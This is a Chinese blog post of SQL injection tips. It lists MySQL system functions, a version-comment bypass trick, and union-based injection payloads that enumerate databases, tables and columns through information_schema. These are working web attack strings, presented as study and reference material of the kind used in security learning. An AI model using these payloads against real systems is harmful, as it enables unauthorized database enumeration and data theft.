首页 > 数据库 >SQL注入相关

SQL注入相关

时间:2023-02-22 20:35:59浏览次数:37  
标签:information name -- SQL 相关 注入 SELECT schema

SQL注入tips

一、相关sql语句信息

information_schema:表示所有信息,包括库、表、列

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_schema:数据库的名称

table_name:表名

column_name:列名

group_concat():显示所有查询到的数据

常用sql语句

1. SELECT USER(),SYSTEM_USER(),CURRENT_USER(),SESSION_USER();
  -- 当前用户名及对应主机查询 函数值相同 可在特定函数被过滤的情况下用其他函数替换,以达到相同的目的
2. SELECT DATABASE(); -- 当前数据库名查询
3. SELECT VERSION();  -- 版本号查询
4. SELECT @@version;  -- 版本号查询
5. SELECT @@basedir;  -- 数据库根目录
6. SELECT @@datadir;  -- mysql文件存放目录 该目录下1库对应1文件夹,1表对应3文件
7. SELECT @@version_compile_os; -- 操作系统

特殊用法:

1. SELECT * FROM users /*!22222 where id = 1*/;
-- 当MySQL当前版本号大于五位数时,注释会失效,此时只输出id=1的内容
2. SELECT * FROM users /*!88888 where id = 1*/;
-- 显示所有内容
3. SELECT VERSION(); -- 查看MySQL当前版本 

二、SQL注入分类

①联合查询注入

点击查看代码
利用前提:页面上有显示位
优点:方便,快捷,易于利用
缺点:需要显示位
 
格式:
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3 --%20
       SQL注入时默认输出第一行数据 ,保证第一行无数据(前面加-)则可输出第二行 或者用limit函数 
 
获取所有数据库名:
union select 1,2,group_concat(schema_name)  from information_schema.schemata --%20
 
获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20
 
获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20

标签:information,name,--,SQL,相关,注入,SELECT,schema
From: https://www.cnblogs.com/lveway/p/17145749.html

相关文章

  • Vue相关笔记
    Promise基本使用Promise是异步编程的一种解决方案,用于一个异步操作的最终完成(或失败)及其结果值的表示,比传统的回调函数方案更加合理。varpromise=newPromise((reso......
  • SQL进阶-存储引擎
    1.MySQL体系结构连接层最上层是一些客户端和链接服务,主要完成一些类似于连接处理、授权认证、及相关的安全方案。服务器也会为安全接入的每个客户端验证它所具有的......
  • MySQL查询(二)
    MySQL查询(二)函数调用:select函数名(实参列表)[from表]1.常见函数1.1.单行函数字符函数length获取参数值的字节个数,一个字母是1个字节,一个汉字3个字节sele......
  • SQL复杂拼接
    一、MySql1.单引号嵌双引号selectCONCAT("'%",'"',"dengji",'"',"%'")fromdual;结果输出:'%"dengji"%'这里的%只是做模糊查询用没有其它含义2.双引号嵌单引号se......
  • MySQL函数
     GROUP_CONCATSUBSTRING_INDEX例子:SUBSTRING_INDEX(GROUP_CONCAT(ll.xorderbyll.seqdesc,ll.createdesc),",",2) mysql中函数CONCAT及GROUP_CONCAT的使用ht......
  • MySQL 8.0 新特性-原子DDL
    背景MySQL8.0原子DDL是一个复杂的过程,涉及比较多的模块,例如:MDL锁,表定义缓存,行格式,RowLog,DDLLog,online属性,表空间物理文件操作等。本文主要通过与MySQL 5.7版本的......
  • 在Centos8/OpenEuler中安装MySQL
    在Centos8/OpenEuler中安装MySQL5.6/5.7  在Centos8/OpenEuler中安装MySQL5.6/5.7时,我们会遇到以下依赖问题:[root@node1~]#rpm-ivhMySQL-client-5.6.26-1.rhel5.x86......
  • es 集成logstash 同步mysql数据
    安装wgethttps://artifacts.elastic.co/downloads/logstash/logstash-7.14.0-linux-x86_64.tar.gz解压tar-zxvflogstash-7.14.0-linux-x86_64.tar.gz 移动 mvlo......
  • SqlServer中distinct的用法(不重复的记录)
    https://www.jb51.net/article/24717.htm往往只用它来返回不重复记录的条数,而不是用它来返回不重记录的所有值。其原因是distinct只有用二重循环查询来解决,而这样对于一个......
  • Portswigger 靶场之 XML 外部实体注入(XEE)
    Alllabs|WebSecurityAcademy(portswigger.net)1.ExploitingXXEusingexternalentitiestoretrievefiles使用外部实体利用XXE来检索文件检查库存功能......